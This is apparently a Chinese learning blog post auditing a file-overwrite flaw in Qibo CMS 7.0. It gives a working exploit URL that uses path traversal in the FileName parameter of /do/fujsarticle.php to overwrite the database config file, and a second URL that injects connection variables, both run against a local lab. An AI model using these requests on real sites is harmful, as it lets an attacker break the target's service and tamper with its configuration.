PHP代码审计理解(二)----齐博CMS7.0文件覆盖
0x00 前言
因为我是跟着视频操作的,这回真的没理解为什么定位到了这个存在漏洞的文件。。。 /do/fujsarticle.php
因为没有前文,所以这里无法分析这个$FileName为什么可以$_GET传值,此处我只看结果。
后来看的时候发现可以逆推过来,应该是本来有哪个功能用到fujsarticle.php文件,这里就不纠结了。
0x01 操作
在包含全局配置文件前后输出一下这个变量$FileName。
可以看到文件包含后的变量被改写了,test.php写入成功。可以看到do文件夹下会生成一个文件,内容与你选的type有关。
意思就是可以任意生成文件,但不能自定义其内容,并且是覆盖性质的,[w]写入新文件。这里就可以去覆盖掉重要的配置文件,使其失去初始化配置。比如说,我们的数据库初始文件。
C:\phpStudy\PHPTutorial\WWW\qibo_v7\data\mysql_config.php
<?php
/**
* 以下变量需根据您的服务器说明档修改
*/
$dbhost = 'localhost'; // 数据库服务器(一般不必改)
$dbuser = 'root'; // 数据库用户名
$dbpw = 'root'; // 数据库密码
$dbname = 'qibo7'; // 数据库名
$pre='qb_'; // 网站表区分符
$database = 'mysql'; // 数据库类型(一般不必改)
$pconnect = 0; // 数据库是否持久连接(一般不必改)
$dbcharset = 'gbk'; // 数据库编码,如果出现网页乱码,你可以尝试改为gbk或latin1或utf8或big5,即可解决
?>
可以看到,这样操作后,数据库连接受到破坏,已经不能正常访问网站。
http://192.168.79.147/qibo_v7/do/fujsarticle.php?type=pic&FileName=../data\mysql_config.php
我们可以打开该配置文件看看
接下来是写入变量,重新写入数据库连接的变量。
http://192.168.79.147/qibo_v7/index.php?dbhost=localhost&dbuser=root&dbpw=root&dbname=qibo7&pre=qb_&database=mysql&pconnect=0&dbcharset=gbk
这里是设置连接数据库的ip和口令,及数据库名,类型等。
理论上来讲我们是可以用自己建的数据库去替代,但是这在漏洞利用中有些鸡肋,因为,即便如此,你也无法获得他本来的数据。
然鹅!这真的不是很可用的漏洞,你在访问其他的页面时还得每次都赋值,因为这些变量不会写到配置文件中去。
以上,此次学习又让我长见识了啊~